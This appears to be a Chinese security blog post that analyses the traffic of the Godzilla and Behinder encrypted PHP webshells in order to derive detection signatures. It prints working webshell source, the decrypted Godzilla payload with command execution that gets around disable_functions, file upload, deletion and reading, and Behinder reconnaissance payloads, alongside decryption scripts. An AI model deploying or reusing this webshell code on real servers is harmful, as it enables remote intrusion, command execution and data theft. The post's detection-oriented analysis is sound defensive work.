目录

webshell 流量分析

webshell 流量分析

本文以哥斯拉冰蝎为例,对上述两个在攻防对抗中常用的加密型 webshell 的流量进行分析。

1 Godzilla

由于哥斯拉在处理 jsp 和 php 时加密方式存在差异,本文将从 php 版的 shell 展开,对其运行原理再做一下总结和阐述。首先,生成一个 php 静态 webshell,加密器选择 PHP_XOR_BASE64

1.1 HTTP 请求头特征

1.1.1 User-Agent

哥斯拉客户端使用 JAVA 语言编写,在默认的情况下,如果不修改 User-Agent,User-Agent 会类似于 Java/11.0.7(具体什么版本取决于 JDK 环境版本)。但是哥斯拉支持自定义 HTTP 头部,这个默认特征是可以很容易去除的。

1.1.2 Accept

Accept 头为 text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 对这个默认特征应该很熟悉了,之前冰蝎也出现过同样的 Accept。为什么会这么巧合出现两个工具都会出现这个特征呢,其实这个也是 JDK 引入的一个特征,并不是作者自定义的 Accept。同样的这个默认特征也可以通过自定义头部去除,只能作为默认情况下的辅助检测特征。

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20210328125135.png-water_print

1.2 请求体特征

1.2.1 PHP_XOR_BASE64

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20210328125615.png-water_print

以默认 shell 的密码和密钥为例,生成的文件如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
    session_start();
    @set_time_limit(0);
	  @error_reporting(0);
    function E($D,$K){
        for($i=0;$i<strlen($D);$i++) {
            $D[$i] = $D[$i]^$K[$i+1&15];
        }
        return $D;
    }
    function Q($D){
        return base64_encode($D);
    }
    function O($D){
        return base64_decode($D);
    }
    $P='pass';
    $V='payload';
    $T='3c6e0b8a9c15224a'; // md5(key)[:16]
    if (isset($_POST[$P])){
        $F=O(E(O($_POST[$P]),$T));
        if (isset($_SESSION[$V])){
            $L=$_SESSION[$V];
            $A=explode('|',$L);
            class C{public function nvoke($p) {eval($p."");}}
            $R=new C();
						$R->nvoke($A[0]);
            echo substr(md5($P.$T),0,16);
            echo Q(E(@run($F),$T));
            echo substr(md5($P.$T),16);
        }else{
            $_SESSION[$V]=$F;
        }
    }

其中比较核心的地方有两处,第一处是进行异或加密和解密的函数 E($D,$K),第二处是嵌套的两个 if 对哥斯拉客户端上传的代码做执行并得到结果。

根据 $F=O(E(O($_POST[$P]),$T));第 21 行做逆向判断,可以得到哥斯拉客户端上传代码时的编码加密过程:

原始代码 -> Base64 编码 -> E 函数进行异或加密 -> 再 Base64 编码

进入第二个 if 语句,首先判断 $_SESSION[$V] 是否存在,客户端首次连接 shell 时会在 $_SESSION 中保存一段代码,叫 payload。结合后面 的run 函数,这个 payload 在后续 shell 连接过程中会被调用。整个 shell 的运行原理到这里基本就能明确了,可以用一篇文章中的流程图来总结:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20210328130431.png-water_print

在客户端上配置代理,利用 Burp 查看下 webshell 的交互流量。

在客户端首次连接时,会有连续三个请求,第一个请求如下:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20210328143609.png-water_print

根据上述分析的加密原理,可以写一个简单的解密脚本,将 pass 数据进行解密:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
<?php
function E($D,$K){
    for($i=0;$i<strlen($D);$i++) {
        $D[$i] = $D[$i]^$K[$i+1&15];
    }
    return $D;
}
function O($D){
    return base64_decode($D);
}
$P='pass';
$V='payload';
$T='3c6e0b8a9c15224a'; // md5(key)[:16]
echo O(E(O("要解密的数据"), $T));
?>

解密得到的数据为:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
<?php
$parameters=array();

function run($pms){
    formatParameter($pms.'&ILikeYou='.base64Encode('metoo'));

    if ($_SESSION["bypass_open_basedir"]==true){
        @bypass_open_basedir();
    }

    return base64Encode(evalFunc());
}

function bypass_open_basedir(){
  // ...
}

function formatParameter($pms){
    global $parameters;
    $pms=explode("&",$pms);
    foreach ($pms as $kv){
        $kv=explode("=",$kv);
        if (sizeof($kv)>=2){
            $parameters[$kv[0]]=base64Decode($kv[1]);
        }
    }
}
function evalFunc(){
    @session_write_close();
    $className=get("codeName");
    $methodName=get("methodName");
    if ($methodName!=null){
        if (strlen(trim($className))>0){
            if ($methodName=="includeCode"){
                return includeCode();
            }else{
                if (isset($_SESSION[$className])){
                    return eval($_SESSION[$className]);
                }else{
                    return "{$className} no load";
                }
            }
        }else{
            return $methodName();
        }
    }else{
        return "methodName Is Null";
    }

}
function deleteDir($p){
    $m=@dir($p);
    while(@$f=$m->read()){
        $pf=$p."/".$f;
        @chmod($pf,0777);
        if((is_dir($pf))&&($f!=".")&&($f!="..")){
            deleteDir($pf);
            @rmdir($pf);
        }else if (is_file($pf)&&($f!=".")&&($f!="..")){
            @unlink($pf);
        }
    }
    $m->close();
    @chmod($p,0777);
    return @rmdir($p);
}
function deleteFile(){
    $F=get("fileName");
    if(is_dir($F)){
        return deleteDir($F)?"ok":"fail";
    }else{
        return (file_exists($F)?@unlink($F)?"ok":"fail":"fail");
    }
}
function copyFile(){
    $srcFileName=get("srcFileName");
    $destFileName=get("destFileName");
    if (@is_file($srcFileName)){
        if (copy($srcFileName,$destFileName)){
            return "ok";
        }else{
            return "fail";
        }
    }else{
        return "The target does not exist or is not a file";
    }
}
function moveFile(){
    $srcFileName=get("srcFileName");
    $destFileName=get("destFileName");
    if (rename($srcFileName,$destFileName)){
        return "ok";
    }else{
        return "fail";
    }

}
function getBasicsInfo()
{
   //...
}
function getFile(){
    // ...
}
function readFileContent(){
    $fileName=get("fileName");
    if (@is_file($fileName)){
        if (@is_readable($fileName)){
            return file_get_contents($fileName);
        }else{
            return "No Permission!";
        }
    }else{
        return "File Not Found";
    }
}
function uploadFile(){
    $fileName=get("fileName");
    $fileValue=get("fileValue");
    if (@file_put_contents($fileName,$fileValue)!==false){
        return "ok";
    }else{
        return "fail";
    }
}
function newDir(){
    $dir=get("dirName");
    if (@mkdir($dir,0777,true)!==false){
        return "ok";
    }else{
        return "fail";
    }
}
function newFile(){
    $fileName=get("fileName");
    if (@file_put_contents($fileName,"")!==false){
        return "ok";
    }else{
        return "fail";
    }
}
function execCommand(){
    $result = "";
    $command = get("cmdLine");
    $PadtJn = @ini_get('disable_functions');
    if (! empty($PadtJn)) {
        $PadtJn = preg_replace('/[, ]+/', ',', $PadtJn);
        $PadtJn = explode(',', $PadtJn);
        $PadtJn = array_map('trim', $PadtJn);
    } else {
        $PadtJn = array();
    }
    if (FALSE !== strpos(strtolower(PHP_OS), 'win')) {
        $command = $command . " 2>&1\n";
    }
    if (is_callable('system') and ! in_array('system', $PadtJn)) {
        ob_start();
        system($command);
        $result = ob_get_contents();
        ob_end_clean();
    } else if (is_callable('proc_open') and ! in_array('proc_open', $PadtJn)) {
        $handle = proc_open($command, array(array('pipe','r'),array('pipe','w'),array('pipe','w')),$pipes);
        $result = NULL;
        while (! feof($pipes[1])) {
            $result .= fread($pipes[1], 1024);
        }
        @proc_close($handle);
    } else if (is_callable('passthru') and ! in_array('passthru', $PadtJn)) {
        ob_start();
        passthru($command);
        $result = ob_get_contents();
        ob_end_clean();
    } else if (is_callable('shell_exec') and ! in_array('shell_exec', $PadtJn)) {
        $result = shell_exec($command);
    } else if (is_callable('exec') and ! in_array('exec', $PadtJn)) {
        $result = array();
        exec($command, $result);
        $result = join(chr(10), $result) . chr(10);
    } else if (is_callable('exec') and ! in_array('popen', $PadtJn)) {
        $fp = popen($command, 'r');
        $result = NULL;
        if (is_resource($fp)) {
            while (! feof($fp)) {
                $result .= fread($fp, 1024);
            }
        }
        @pclose($fp);
    } else {
        return "none of proc_open/passthru/shell_exec/exec/exec is available";
    }
    return $result;
}
function execSql(){
   // ...
    }
function pdoExec($databaseType,$host,$port,$username,$password,$execType,$sql){
     // ...
}
function base64Encode($data){
    return base64_encode($data);
}
function test(){
    return "ok";
}
function get($key){
    global $parameters;
    if (isset($parameters[$key])){
        return $parameters[$key];
    }else{
        return null;
    }
}
function includeCode(){
    @session_start();
    $classCode=get("binCode");
    $codeName=get("codeName");
    $_SESSION[$codeName]=$classCode;
    @session_write_close();
    return "ok";
}
function base64Decode($string){
    return base64_decode($string);
}
?>

传输的脚本很长,包含 run、bypass_open_basedir、formatParameter、evalFunc 等二十多个功能函数,具备代码执行、文件操作、数据库操作等诸多功能。

可以发现该条数据包并没有回包,可以作为流量识别的其中一个特征。

第二条数据包及解密情况如下:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20210328144313.png-water_print

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20210328144337.png-water_print

跟进第一步解密得到的 run 函数,首先经过 formatParameter 对参数进行处理

信息
作者还在此处拼接了一个 '&ILikeYou='.base64Encode('metoo')

将键和 base64 解密后的值,此处为:methodName=test。存放在全局变量 parameters 中,然后再交给 evalFunc 去执行进一步的操作。

此外,我们对回包情况做分析,根据 webshell 的第 28 行和第 30 行,run 函数中的 return base64Encode(evalFunc());

1
2
3
echo substr(md5($P.$T),0,16);
echo Q(E(@run($F),$T));
echo substr(md5($P.$T),16);

可以知道,回包是由 $P$T 拼接后的 MD5 前 16 位和后 16 位组成。中间是由 base64encode + 异或 + base64_encode 组成。

解密时,首先去除前 16 位和后 16 位,利用之前的解密脚本,进行解密,得到

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20210328150501.png-water_print

说明该请求是一条测试请求,证明 shell 连接成功。

第三个请求的作用是获取目标的环境信息,请求内容为:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20210328150721.png-water_print

利用相同方法解密得到:

解密得到原始代码 methodName=Z2V0QmFzaWNzSW5mbw==,即 methodName=getBasicsInfo。此操作调用 payload 中的 getBasicsInfo 方法获取目标环境信息向客户端返回。显然,这个过程又是一个固定特征。

至此,成功挖掘到哥斯拉客户端与 shell 建连初期的三个固定行为特征,且顺序出现在同一个 TCP 连接中。可以总结为:

特征:发送一段固定代码(payload),http 响应为空

特征:发送一段固定代码(test),执行结果为固定内容

特征:发送一段固定代码(getBacisInfo)

1.2.2 PHP_RAW_BASE64

技巧

我在测试时发现使用默认生成的 raw 格式的 payload 一直连接失败

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20210328152906.png-water_print

将生成的 webshell 第 30 行的 run 函数前加上 @ 即可成功连接。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
session_start();
@set_time_limit(0);
@error_reporting(0);
function E($D,$K){
    for($i=0;$i<strlen($D);$i++) {
        $D[$i] = $D[$i]^$K[$i+1&15];
    }
    return $D;
}
function Q($D){
    return base64_encode($D);
}
function O($D){
    return base64_decode($D);
}
function I(){
    return "php://input";
}
$V='payload';
$T='3c6e0b8a9c15224a';
$F=O(E(file_get_contents(I()),$T));

if (isset($_SESSION[$V])){
    $L=$_SESSION[$V];
    $A=explode('|',$L);
    class C{public function nvoke($p) {eval($p."");}}
    $R=new C();
		$R->nvoke($A[0]);
    echo E(@run($F),$T);
}else{
    $_SESSION[$V]=$F;
}

通过比对可以发现,RAW 格式的 shell 与之前的 shell 增加了 I 函数,接收客户端的参数,解密时也少了一步 base64_decode。同样的,在返回结果时,也取消了 MD5 的字符串的分隔,下面做进一步分析。

进入 shell 后,还是相同的三步,设置 session,发送 test,获取基础信息。

本次的解密脚本:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
<?php
function E($D,$K){
    for($i=0;$i<strlen($D);$i++) {
        $D[$i] = $D[$i]^$K[$i+1&15];
    }
    return $D;
}
function O($D){
    return base64_decode($D);
}
$P='pass';
$V='payload';
$T='3c6e0b8a9c15224a'; // md5(key)[:16]
echo O(E(file_get_contents("./res.txt"), $T));
?>

由于将 HTTP body 中的数据保存在 res.txt 文件中,并解密,可以得到第一步中的 PHP 脚本信息:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20210328154627.png-water_print

脚本内容基本无变化,具体可以参考上一节的内容。

此时,回包加密的逻辑为 base64encode + 异或的形式。

至此,Godzilla PHP 的两种 shell 加密模式分析完毕。

2 冰蝎

同样以 PHP webshell 为例,使用冰蝎默认的 webshell,并进行测试。

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20210328165530.png-water_print

2.1 HTTP 请求头特征

2.1.1 User-Agent

该特征属于弱特征。普通用户很容易就可以修改。但是我们也分析一下。

冰蝎 3.0 每次请求都会随机选择一个 User-Agent。但是如果用户默认不提供 UA 头,则从系统中随机选择一个 UA 头。在最新版本(v3.0 Beta 6)中的冰蝎源码中,存在如下 User-Agent

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
{
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.2 Safari/605.1.15",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36",
    "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36",
    "Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/84.0.4147.122 Mobile/15E148 Safari/604.1",
    "Mozilla/5.0 (iPad; CPU OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/84.0.4147.122 Mobile/15E148 Safari/604.1",
    "Mozilla/5.0 (iPod; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/84.0.4147.122 Mobile/15E148 Safari/604.1",
    "Mozilla/5.0 (Linux; Android 10) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Mobile Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36",
    "Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/84.0.4147.122 Mobile/15E148 Safari/604.1",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0",
    "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0",
    "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0",
    "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0",
    "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0",
    "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0",
    "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)",
    "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2)",
    "Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko",
    "Mozilla/5.0 (Windows NT 6.2; Trident/7.0; rv:11.0) like Gecko",
    "Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko"
}

2.1.2 Accept && Accept-Language

在 ShellService.java 中发现预先设置的 Accept 和 Accept-Language:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20210328165907.png-water_print

为固定值,同时,如果 webshell 为 php 类型,会设定 Content-Type 值也为一个固定值:text/html;charset=utf-8

在用户未更改默认配置的情况下,上述特征可以作为检测的一个方向。

2.2 HTTP 请求体特征

根据 webshell 的内容,可以分为两种解密方式:

  1. 当目标服务器未开启 openssl 时,采用异或的方式加密
  2. 当目标服务器开启 openssl 时,采用 AES-128 方式加密

解密脚本:

1
2
3
4
5
6
<?php
$key="e45e329feb5d925b";
$post = "待解密的内容";
$post = openssl_decrypt($post, "AES128", $key);
echo $post;
?>

连接 shell 时的第一条数据包:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20210328171740.png-water_print

解密出连接 shell 时的第一条数据:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20210328170716.png-water_print

进一步 base64 解密得到传输的内容:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
@error_reporting(0);
function main($content)
{
	$result = array();
	$result["status"] = base64_encode("success");
    $result["msg"] = base64_encode($content);
    $key = $_SESSION['k'];
    echo encrypt(json_encode($result),$key);
}

function encrypt($data,$key)
{
	if(!extension_loaded('openssl'))
    	{
    		for($i=0;$i<strlen($data);$i++) {
    			 $data[$i] = $data[$i]^$key[$i+1&15]; 
    			}
			return $data;
    	}
    else
    	{
    		return openssl_encrypt($data, "AES128", $key);
    	}
}$content="qing73XL3NTszHHme5YqeWHi79mSMZaUuubbtH7I65qSGoUqfzFvnD2TW";
main($content);
?>

从上述脚本可以分析到,回包也是用 AES-128 进行加密:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20210328171023.png-water_print

第二条数据包:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20210328171948.png-water_print

解密请求:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20210328172029.png-water_print

base64 解密:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
error_reporting(0);
function main($whatever) {
    ob_start(); phpinfo(); $info = ob_get_contents(); ob_end_clean();
    $driveList ="";
    if (stristr(PHP_OS,"windows")||stristr(PHP_OS,"winnt"))
    {
        for($i=65;$i<=90;$i++)
    	{
    		$drive=chr($i).':/';
    		file_exists($drive) ? $driveList=$driveList.$drive.";":'';
    	}
    }
	else
	{
		$driveList="/";
	}
    $currentPath=getcwd();
    //echo "phpinfo=".$info."\n"."currentPath=".$currentPath."\n"."driveList=".$driveList;
    $osInfo=PHP_OS;
    $result=array("basicInfo"=>base64_encode($info),"driveList"=>base64_encode($driveList),"currentPath"=>base64_encode($currentPath),"osInfo"=>base64_encode($osInfo));
    //echo json_encode($result);
    session_start();
    $key=$_SESSION['k'];
    //echo json_encode($result);
    //echo openssl_encrypt(json_encode($result), "AES128", $key);
    echo encrypt(json_encode($result), $key);
}

function encrypt($data,$key)
{
	if(!extension_loaded('openssl'))
    	{
    		for($i=0;$i<strlen($data);$i++) {
    			 $data[$i] = $data[$i]^$key[$i+1&15]; 
    			}
			return $data;
    	}
    else
    	{
    		return openssl_encrypt($data, "AES128", $key);
    	}
}$whatever="yXC5t2ZpMa4Mj6zCgAXVLhQX5TFoNnjDYke36m2uCtHecRRdxqlbd2AudDH33CNWx41ISHqaJb4PfWbWp3CHTGAfUvFl1x5abikyEbCXL9TPQX5Mhuvjv45zhYNMxvb38UtH2BdLpiGpLFMMXqaNkmIVTEAj3opuUN4sE3wKMryeCAvVgDKwoBGf0YAduvy2vvxvQMXEIPTSB1Blp9fcvzMGyM3Qca0FsYwYwyp2wNj7DDDYmJnvmqF547rTfhgH3NnSlpR7rjG1UorFkZPxrITQuuGkz7dV2JuVVFCKtw8VVl8zGjLGyznpu4yHCChEMxE9YszxTWgowBPURYvMuLyf6YIhJBRl86DcJsWKsaGG9OFwA2t5vcTnHdEO5yRUjRjGCk6P3MfnlqpklSjjrf5lgisxjnvFNBerwYSNWZCMQ56xW2vwNqSZ4iEj0Kg1TBMIBRdnCpc46VE6iVLe34bqx6sXhhXzK0KLnbQ8kDAlLXuJAP87XlZPCVB4zp0eStqoVIHYUTIDhkJ4rH06z1JumGfbT21MQj64CH1PBkHvfOTCkkxXQN8EXZerxZ831SeVRGv37PbNu";
main($whatever);
?>

得到具体执行的内容即获取基本信息。

对回包的解密过程同上,最后可以得到一个 JSON 字符串,其中包含相应的信息。

1
2
3
4
5
6
{
    "basicInfo": "......",
    "driveList": "Lw==",
    "currentPath": "L2hvbWUvZGFlL3BocA==",
    "osInfo": "TGludXg="
}